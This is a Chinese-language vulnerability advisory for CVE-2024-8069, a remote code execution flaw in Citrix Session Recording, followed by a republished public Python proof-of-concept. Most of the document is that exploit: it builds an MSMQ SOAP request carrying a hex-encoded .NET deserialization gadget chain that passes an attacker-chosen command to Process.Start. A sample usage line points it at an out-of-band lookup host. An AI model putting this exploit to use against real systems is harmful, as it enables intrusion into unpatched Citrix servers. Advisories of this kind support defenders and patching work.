0x00 前言
Citrix是一家领先的DaaS提供商,其主要产品是Citrix Virtual Apps and Desktops。该产品提供了虚拟桌面和应用程序交付的解决方案,可以将桌面和应用程序提供给用户的任何设备上。
0x01 漏洞描述
攻击者在会话录制服务器所在的同一内部网络中是一个经过身份验证的用户,那么在Citrix会话录制中,存在使用NetworkService帐户访问权限的远程代码执行漏洞。
0x02 CVE编号
CVE-2024-8069
0x03 影响版本
Citrix Virtual Apps and Desktops 7 2402 LTSR及之前的所有版本均存在此漏洞
0x04 漏洞详情
利用条件:
攻击者必须是与会话记录服务器位于同一内联网上的经过身份验证的用户。
POC:
https://github.com/watchtowrlabs/Citrix-Virtual-Apps-XEN-Exploit
import socket
import random
from uuid import uuid4
from datetime import datetime, timedelta
import argparse
banner = """ __ ___ ___________
__ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________
\\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\
\\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/
\\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__|
\\/ \\/ \\/
CVE-xxxx-xxxxx.py
(*) Citrix Virtual Apps and Desktops Unauthenticated Remote Code Execution (CVE-xxxx-xxxxx) exploit by watchTowr
- Sina Kheirkhah (@SinSinology), watchTowr (sina@watchTowr.com)
CVEs: [CVE-xxxx-xxxxx]
"""
print(banner)
# exmaple -> python exploit-citrix-xen.py --target 192.168.1.120 --port 80 --cmd "nslookup xxxxxxxxxxxx.oastify.com"
parser = argparse.ArgumentParser()
parser.add_argument('--target','-t', type=str, help='IP address of the target', required=True)
parser.add_argument('--cmd', '-c', type=str, help='command to execute', required=True)
parser.add_argument('--port','-p', type=int, help='Port of the target ', required=False, default=80)
args = parser.parse_args()
args.cmd = ("/c " + args.cmd).encode()
cmdlen = len(args.cmd)
random_boundary = "MSMQ - SOAP boundary, " + str(random.randint(100000000, 999999999))
random_guid = str(uuid4())
random_int = str(random.randint(1000, 9999))
sentAt = datetime.now()
expiresAt = sentAt + timedelta(days=4)
sentAt_str = sentAt.strftime('%Y%m%dT%H%M%S')
TTrq = expiresAt.strftime('%Y%m%dT%H%M%S')
VAR_FIRST = f"""POST /msmq/private$/citrixsmaudeventdata HTTP/1.1\r
Host: {args.target}\r
Content-Type: multipart/related; boundary="{random_boundary}"; type=text/xml\r
Content-Length: REPLACE_FULL_SIZE\r
SOAPAction: "MSMQMessage"\r
Proxy-Accept: NonInteractiveClient\r
\r
--{random_boundary}\r
Content-Type: text/xml; charset=UTF-8\r
Content-Length: REPLACE_XML_SIZE\r
\r
"""
THE_XML = f"""<se:Envelope xmlns:se="http://schemas.xmlsoap.org/soap/envelope/" xmlns="http://schemas.xmlsoap.org/srmp/"><se:Header><path xmlns="http://schemas.xmlsoap.org/rp/" se:mustUnderstand="1"><action>MSMQ:</action><to>HTTP://{args.target}/msmq/Private$/CitrixSmAudEventData</to><id>uuid:{random_int}@{random_guid}</id></path><properties se:mustUnderstand="1"><expiresAt>20380119T031407</expiresAt><sentAt>{sentAt_str}</sentAt></properties><Msmq xmlns="msmq.namespace.xml"><Class>0</Class><Priority>3</Priority><Correlation>AAAAAAAAAAAAAAAAAAAAAAAAAAA=</Correlation><App>0</App><BodyType>768</BodyType><HashAlgorithm>32782</HashAlgorithm><SourceQmGuid>{random_guid}</SourceQmGuid><TTrq>{TTrq}</TTrq></Msmq></se:Header><se:Body></se:Body></se:Envelope>""".encode('utf-8')
VAR_THIRD = f"""--{random_boundary}\r
Content-Type: application/octet-stream\r
Content-Length: REPLACE_MESSAGE_SIZE\r
Content-Id: body@{random_guid}\r
\r
"""
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释
* THE_MSG = bytes.fromhex("00 01 00 00 00 FF FF FF FF 01 00 00 00 00 00 00 00 0C 02 00 00 00 49 53 79 73 74 65 6D 2C 20 56 65 72 73 69 6F 6E 3D 34 2E 30 2E 30 2E 30 2C 20 43 75 6C 74 75 72 65 3D 6E 65 75 74 72 61 6C 2C 20 50 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39 05 01 00 00 00 84 01 53 79 73 74 65 6D 2E 43 6F 6C 6C 65 63 74 69 6F 6E 73 2E 47 65 6E 65 72 69 63 2E 53 6F 72 74 65 64 53 65 74 60 31 5B 5B 53 79 73 74 65 6D 2E 53 74 72 69 6E 67 2C 20 6D 73 63 6F 72 6C 69 62 2C 20 56 65 72 73 69 6F 6E 3D 34 2E 30 2E 30 2E 30 2C 20 43 75 6C 74 75 72 65 3D 6E 65 75 74 72 61 6C 2C 20 50 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39 5D 5D 04 00 00 00 05 43 6F 75 6E 74 08 43 6F 6D 70 61 72 65 72 07 56 65 72 73 69 6F 6E 05 49 74 65 6D 73 00 03 00 06 08 8D 01 53 79 73 74 65 6D 2E 43 6F 6C 6C 65 63 74 69 6F 6E 73 2E 47 65 6E 65 72 69 63 2E 43 6F 6D 70 61 72 69 73 6F 6E 43 6F 6D 70 61 72 65 72 60 31 5B 5B 53 79 73 74 65 6D 2E 53 74 72 69 6E 67 2C 20 6D 73 63 6F 72 6C 69 62 2C 20 56 65 72 73 69 6F 6E 3D 34 2E 30 2E 30 2E 30 2C 20 43 75 6C 74 75 72 65 3D 6E 65 75 74 72 61 6C 2C 20 50 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39 5D 5D 08 02 00 00 00 02 00 00 00 09 03 00 00 00 02 00 00 00 09 04 00 00 00 04 03 00 00 00 8D 01 53 79 73 74 65 6D 2E 43 6F 6C 6C 65 63 74 69 6F 6E 73 2E 47 65 6E 65 72 69 63 2E 43 6F 6D 70 61 72 69 73 6F 6E 43 6F 6D 70 61 72 65 72 60 31 5B 5B 53 79 73 74 65 6D 2E 53 74 72 69 6E 67 2C 20 6D 73 63 6F 72 6C 69 62 2C 20 56 65 72 73 69 6F 6E 3D 34 2E 30 2E 30 2E 30 2C 20 43 75 6C 74 75 72 65 3D 6E 65 75 74 72 61 6C 2C 20 50 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39 5D 5D 01 00 00 00 0B 5F 63 6F 6D 70 61 72 69 73 6F 6E 03 22 53 79 73 74 65 6D 2E 44 65 6C 65 67 61 74 65 53 65 72 69 61 6C 69 7A 61 74 69 6F 6E 48 6F 6C 64 65 72 09 05 00 00 00 11 04 00 00 00 02 00 00 00 06 06") + int.to_bytes(cmdlen, 4, 'big') + args.cmd + bytes.fromhex("06 07 00 00 00 03 63 6D 64 04 05 00 00 00 22 53 79 73 74 65 6D 2E 44 65 6C 65 67 61 74 65 53 65 72 69 61 6C 69 7A 61 74 69 6F 6E 48 6F 6C 64 65 72 03 00 00 00 08 44 65 6C 65 67 61 74 65 07 6D 65 74 68 6F 64 30 07 6D 65 74 68 6F 64 31 03 03 03 30 53 79 73 74 65 6D 2E 44 65 6C 65 67 61 74 65 53 65 72 69 61 6C 69 7A 61 74 69 6F 6E 48 6F 6C 64 65 72 2B 44 65 6C 65 67 61 74 65 45 6E 74 72 79 2F 53 79 73 74 65 6D 2E 52 65 66 6C 65 63 74 69 6F 6E 2E 4D 65 6D 62 65 72 49 6E 66 6F 53 65 72 69 61 6C 69 7A 61 74 69 6F 6E 48 6F 6C 64 65 72 2F 53 79 73 74 65 6D 2E 52 65 66 6C 65 63 74 69 6F 6E 2E 4D 65 6D 62 65 72 49 6E 66 6F 53 65 72 69 61 6C 69 7A 61 74 69 6F 6E 48 6F 6C 64 65 72 09 08 00 00 00 09 09 00 00 00 09 0A 00 00 00 04 08 00 00 00 30 53 79 73 74 65 6D 2E 44 65 6C 65 67 61 74 65 53 65 72 69 61 6C 69 7A 61 74 69 6F 6E 48 6F 6C 64 65 72 2B 44 65 6C 65 67 61 74 65 45 6E 74 72 79 07 00 00 00 04 74 79 70 65 08 61 73 73 65 6D 62 6C 79 06 74 61 72 67 65 74 12 74 61 72 67 65 74 54 79 70 65 41 73 73 65 6D 62 6C 79 0E 74 61 72 67 65 74 54 79 70 65 4E 61 6D 65 0A 6D 65 74 68 6F 64 4E 61 6D 65 0D 64 65 6C 65 67 61 74 65 45 6E 74 72 79 01 01 02 01 01 01 03 30 53 79 73 74 65 6D 2E 44 65 6C 65 67 61 74 65 53 65 72 69 61 6C 69 7A 61 74 69 6F 6E 48 6F 6C 64 65 72 2B 44 65 6C 65 67 61 74 65 45 6E 74 72 79 06 0B 00 00 00 B0 02 53 79 73 74 65 6D 2E 46 75 6E 63 60 33 5B 5B 53 79 73 74 65 6D 2E 53 74 72 69 6E 67 2C 20 6D 73 63 6F 72 6C 69 62 2C 20 56 65 72 73 69 6F 6E 3D 34 2E 30 2E 30 2E 30 2C 20 43 75 6C 74 75 72 65 3D 6E 65 75 74 72 61 6C 2C 20 50 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39 5D 2C 5B 53 79 73 74 65 6D 2E 53 74 72 69 6E 67 2C 20 6D 73 63 6F 72 6C 69 62 2C 20 56 65 72 73 69 6F 6E 3D 34 2E 30 2E 30 2E 30 2C 20 43 75 6C 74 75 72 65 3D 6E 65 75 74 72 61 6C 2C 20 50 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39 5D 2C 5B 53 79 73 74 65 6D 2E 44 69 61 67 6E 6F 73 74 69 63 73 2E 50 72 6F 63 65 73 73 2C 20 53 79 73 74 65 6D 2C 20 56 65 72 73 69 6F 6E 3D 34 2E 30 2E 30 2E 30 2C 20 43 75 6C 74 75 72 65 3D 6E 65 75 74 72 61 6C 2C 20 50 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39 5D 5D 06 0C 00 00 00 4B 6D 73 63 6F 72 6C 69 62 2C 20 56 65 72 73 69 6F 6E 3D 34 2E 30 2E 30 2E 30 2C 20 43 75 6C 74 75 72 65 3D 6E 65 75 74 72 61 6C 2C 20 50 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39 0A 06 0D 00 00 00 49 53 79 73 74 65 6D 2C 20 56 65 72 73 69 6F 6E 3D 34 2E 30 2E 30 2E 30 2C 20 43 75 6C 74 75 72 65 3D 6E 65 75 74 72 61 6C 2C 20 50 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39 06 0E 00 00 00 1A 53 79 73 74 65 6D 2E 44 69 61 67 6E 6F 73 74 69 63 73 2E 50 72 6F 63 65 73 73 06 0F 00 00 00 05 53 74 61 72 74 09 10 00 00 00 04 09 00 00 00 2F 53 79 73 74 65 6D 2E 52 65 66 6C 65 63 74 69 6F 6E 2E 4D 65 6D 62 65 72 49 6E 66 6F 53 65 72 69 61 6C 69 7A 61 74 69 6F 6E 48 6F 6C 64 65 72 07 00 00 00 04 4E 61 6D 65 0C 41 73 73 65 6D 62 6C 79 4E 61 6D 65 09 43 6C 61 73 73 4E 61 6D 65 09 53 69 67 6E 61 74 75 72 65 0A 53 69 67 6E 61 74 75 72 65 32 0A 4D 65 6D 62 65 72 54 79 70 65 10 47 65 6E 65 72 69 63 41 72 67 75 6D 65 6E 74 73 01 01 01 01 01 00 03 08 0D 53 79 73 74 65 6D 2E 54 79 70 65 5B 5D 09 0F 00 00 00 09 0D 00 00 00 09 0E 00 00 00 06 14 00 00 00 3E 53 79 73 74 65 6D 2E 44 69 61 67 6E 6F 73 74 69 63 73 2E 50 72 6F 63 65 73 73 20 53 74 61 72 74 28 53 79 73 74 65 6D 2E 53 74 72 69 6E 67 2C 20 53 79 73 74 65 6D 2E 53 74 72 69 6E 67 29 06 15 00 00 00 3E 53 79 73 74 65 6D 2E 44 69 61 67 6E 6F 73 74 69 63 73 2E 50 72 6F 63 65 73 73 20 53 74 61 72 74 28 53 79 73 74 65 6D 2E 53 74 72 69 6E 67 2C 20 53 79 73 74 65 6D 2E 53 74 72 69 6E 67 29 08 00 00 00 0A 01 0A 00 00 00 09 00 00 00 06 16 00 00 00 07 43 6F 6D 70 61 72 65 09 0C 00 00 00 06 18 00 00 00 0D 53 79 73 74 65 6D 2E 53 74 72 69 6E 67 06 19 00 00 00 2B 49 6E 74 33 32 20 43 6F 6D 70 61 72 65 28 53 79 73 74 65 6D 2E 53 74 72 69 6E 67 2C 20 53 79 73 74 65 6D 2E 53 74 72 69 6E 67 29 06 1A 00 00 00 32 53 79 73 74 65 6D 2E 49 6E 74 33 32 20 43 6F 6D 70 61 72 65 28 53 79 73 74 65 6D 2E 53 74 72 69 6E 67 2C 20 53 79 73 74 65 6D 2E 53 74 72 69 6E 67 29 08 00 00 00 0A 01 10 00 00 00 08 00 00 00 06 1B 00 00 00 71 53 79 73 74 65 6D 2E 43 6F 6D 70 61 72 69 73 6F 6E 60 31 5B 5B 53 79 73 74 65 6D 2E 53 74 72 69 6E 67 2C 20 6D 73 63 6F 72 6C 69 62 2C 20 56 65 72 73 69 6F 6E 3D 34 2E 30 2E 30 2E 30 2C 20 43 75 6C 74 75 72 65 3D 6E 65 75 74 72 61 6C 2C 20 50 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39 5D 5D 09 0C 00 00 00 0A 09 0C 00 00 00 09 18 00 00 00 09 16 00 00 00 0A 0B")
*/
THE_END = f"--{random_boundary}--\r\n"
xml_size = len(THE_XML)
message_size = len(THE_MSG)
VAR_FIRST = VAR_FIRST.replace("REPLACE_XML_SIZE", str(xml_size))
VAR_THIRD = VAR_THIRD.replace("REPLACE_MESSAGE_SIZE", str(message_size))
final_payload = VAR_FIRST.encode() + THE_XML + VAR_THIRD.encode() + THE_MSG + THE_END.encode()
final_payload = final_payload.replace(b"REPLACE_FULL_SIZE", str(len(final_payload[final_payload.index(b"--MSMQ"):])).encode() )
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((args.target, args.port))
s.send(final_payload)
s.close()
except:
print(f"[ERROR] Connection to target {args.target} on port {args.port} failed!")
exit(1)
print(f"[INFO] Command sent to {args.target} successfully!")
0x05 参考链接
https://github.com/watchtowrlabs/Citrix-Virtual-Apps-XEN-Exploit
https://support.citrix.com/s/article/CTX691941-citrix-session-recording-security-bulletin-for-cve20248068-and-cve20248069?language=en_US